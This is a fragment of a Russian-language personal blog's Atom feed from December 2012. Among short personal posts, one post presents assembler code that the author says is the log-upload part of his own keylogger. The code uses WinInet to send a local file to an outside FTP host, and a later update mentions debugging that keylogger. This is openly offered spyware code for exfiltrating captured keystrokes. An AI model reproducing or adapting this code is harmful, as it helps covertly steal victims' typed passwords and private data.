</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/8522375484217362978/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2012/12/2012.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/8522375484217362978'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/8522375484217362978'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2012/12/2012.html' title='Последний пост в 2012.'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-5291155927076817331</id><published>2012-12-25T22:25:00.001+02:00</published><updated>2014-02-11T18:46:39.039+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Жизнь и всякая хрень"/><title type='text'>массовая ненависть</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
пост временно не должен здесь отображаться...&lt;br /&gt;
&lt;div class=&quot;art-PostContent&quot; style=&quot;font-family: Arial, Helvetica, sans-serif; font-size: 12px; margin: 0px; text-align: justify;&quot;&gt;
&lt;div unselectable=&quot;on;&quot;&gt;
&lt;div style=&quot;margin-bottom: 0.5em; margin-top: 0.5em;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/5291155927076817331/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2012/12/blog-post_25.html#comment-form' title='Комментарии: 11'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/5291155927076817331'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/5291155927076817331'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2012/12/blog-post_25.html' title='массовая ненависть'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-7872540519323955301</id><published>2012-12-18T21:01:00.001+02:00</published><updated>2012-12-24T01:22:18.089+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Жизнь и всякая хрень"/><title type='text'>Немного отдыха)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Ну вот я тут.скоро сессия,а значит необходимо отдохнуть и завтра я со своим другом уезжаем в Киев на концерт Мэрилина Мэнсона,хуххх пока еще сидишь в этом месте трудно представить масштаб происходящего)надеюсь все будет круто и мы отлично оттопыремся за эти 3 дня что я там буду.&lt;br /&gt;
ну,а как приеду,надо работать,очень надо.я задумываюсь над микро-пассивным доходом,я не могу уделять достаточное кол-во времени кодингу и исследованиям,нужно что то глобальное.&lt;br /&gt;
фиу,до встречи!)&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://cs301514.userapi.com/v301514540/525b/R5_q20XyJ9c.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://cs301514.userapi.com/v301514540/525b/R5_q20XyJ9c.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
UPD:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
последняя работа-процесс отладки кейлоггера:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7rjJ7VyoKmWZlqE6OcTSWB8Y8D_fm2HCFqR6oI96E4uZyLGl30ORiAfZWgUyJDYvkNlRpaEwrZ0EtAQ-z8n3Ttp59mgibNTgxJBEdeQXIJcyJhnLC50VfM2n-oKf80Se2WtIykwmlKwN1/s1600/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.bmp&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;222&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7rjJ7VyoKmWZlqE6OcTSWB8Y8D_fm2HCFqR6oI96E4uZyLGl30ORiAfZWgUyJDYvkNlRpaEwrZ0EtAQ-z8n3Ttp59mgibNTgxJBEdeQXIJcyJhnLC50VfM2n-oKf80Se2WtIykwmlKwN1/s320/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.bmp&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
слушайте такую музыку&amp;nbsp;&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/cDAJR-KSQUw?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/7872540519323955301/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2012/12/blog-post_18.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7872540519323955301'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/7872540519323955301'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2012/12/blog-post_18.html' title='Немного отдыха)'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7rjJ7VyoKmWZlqE6OcTSWB8Y8D_fm2HCFqR6oI96E4uZyLGl30ORiAfZWgUyJDYvkNlRpaEwrZ0EtAQ-z8n3Ttp59mgibNTgxJBEdeQXIJcyJhnLC50VfM2n-oKf80Se2WtIykwmlKwN1/s72-c/%D0%91%D0%B5%D0%B7%D1%8B%D0%BC%D1%8F%D0%BD%D0%BD%D1%8B%D0%B9.bmp" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-419721059645891553</id><published>2012-12-15T17:48:00.001+02:00</published><updated>2012-12-24T01:46:06.573+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Assembler"/><title type='text'>FTP upload на  winapi</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Взялся я тут за написание своего кейлоггера, логи решил отправлять на фтп, самый не плохой вариант по моему.С удивлением обнаружил что все что есть в интернете практически полностью реализовано на VCL, а так как я пишу логер на api то я не могу позволить себе использовать VCL, по этому я написал простую реализацию на ассемблере и библиотеке win inet которая поставляется в комплекте с вендой.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;.386&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;.model flat,stdcall&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;option casemap:none&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;include include\windows.inc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;include include\kernel32.inc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;include include\user32.inc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;include INCLUDE\wininet.inc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;includelib lib\user32.lib&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;includelib lib\kernel32.lib&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;includelib LIB\wininet.lib&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;.data&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;file db &#39;C:\tes.txt&#39;,0 &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;; файл для залива&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;ftpfn db &#39;tes.txt&#39;,0 &lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;; залитый файл&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;host db &#39;splashed.ucoz.ru&#39;,0 &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: red;&quot;&gt;; адрес фтп&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;login db &#39;login&#39;,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;password db &#39;password&#39;,0&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;agent db &#39;iexplore&#39;,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;hinet dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;hc dd 0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;.code&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;start:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;invoke InternetOpen,addr agent,INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;mov hinet,eax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;invoke InternetConnect,hinet,addr host,INTERNET_DEFAULT_FTP_PORT,addr login,addr password,INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;mov hc,eax&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;invoke FtpPutFile,hc,addr file,addr ftpfn,FTP_TRANSFER_TYPE_BINARY,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;invoke InternetCloseHandle,hc&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;invoke InternetCloseHandle,hinet&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;invoke ExitProcess,0&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;end start&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #274e13;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
и мы не получаем вес как у коровы,а получаем 1.5 кб веса и работоспособный заливщик;)&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/419721059645891553/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2012/12/ftp-upload-winapi.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/419721059645891553'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/419721059645891553'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2012/12/ftp-upload-winapi.html' title='FTP upload на  winapi'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>1</thr:total></entry></feed>